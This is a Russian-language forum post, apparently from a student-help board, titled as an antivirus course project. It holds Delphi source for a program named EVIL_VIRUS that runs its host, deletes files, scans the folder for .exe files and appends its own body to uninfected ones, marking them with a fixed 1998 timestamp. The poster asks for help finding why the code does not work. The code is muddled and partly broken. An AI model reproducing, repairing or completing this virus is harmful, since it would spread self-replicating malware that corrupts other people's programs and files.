Курсовой проект (антивирус)

За вознаграждение или нахаляву (если повезёт)

Модераторы: Хыиуду, MOTOCoder, Medved, dr.Jekill

Ответить
Kazik
Сообщения: 2
Зарегистрирован: 16 май 2010, 09:37

Помогите пожалуйста разобраться...почему не работает...
program EVIL_VIRUS;
USES WINDOWS,SYSUTILS,FileCtrl ;

VaR
VirBuf, ProgBuf, MyBuf : array of char; //массивчики нам для проги и виря
SR : tSearchRec; //характеристики жертвы
My,pr : File; //файлики разные
ProgSize,result,int : integer; //размер кода программы, результат поиска
PN,st,s : String;
si : tStartUpInfo;
p :tProcessInformation;
infected : boolean; //Ты заряжен?

CONST VirLen: longint= 373248;

{$I-}
begin
SetLength (virbuf,VirLen);
AssignFile (my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st[1],'c:\program.exe',fALSE);


IF FileSize(my)>VirLen then
begin
//Запуск программы
AssignFile (my,'c:\program.exe');
ProgSize:= VirLen;
BlockRead (my,virbuf,virlen);
SetLength (progbuf,pRogSize);
BlockRead (my,progbuf,progSize);
CloseFile (my);
PN:=ParamStr(0);
PN:='_'+ExtractFileName(PN);
AssignFile (pr,PN);
ReWrite (pr);
BlockWrite (pr,progbuf,progSize);
CloseFile (pr);
FillChar( Si, SizeOf( Si ) , 0 );
end;
with Si do
begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
PN:= PN+#0;

Createprocess(nil,@PN[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
//Запустили, программа отработала. Сотрем ее :)
ErAsE (pr);
Erase (my);

result:= FindFirst ('*.exe',faAnyFile,sr);
while Result=0 do
begin
//Проверка на вшивость
Infected:= false;
IF DateTimeToStr(FileDateToDateTime (FileAge (sr.name)))= '03.08.1998 6:00:00' then
//Проверено!
infected:= true;
IF (infected= false)and (sr.name<>paramstr(0)) then
begin
AssignFile (my,sr.Name);
reset(my);
Seek(my,sr.Size);
BlockWrite (my,virbuf,virlen);
BlockWrite (my,progbuf,sr.Size);
CloseFile (my);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime ('03.08.1998 6:00:00')));
//Если вир запущен "чистым", т.е. не из зараженной программы, то завершаемся
end
else halt;
result:= FindNext (sr);
end;
end. :confused:
Ответить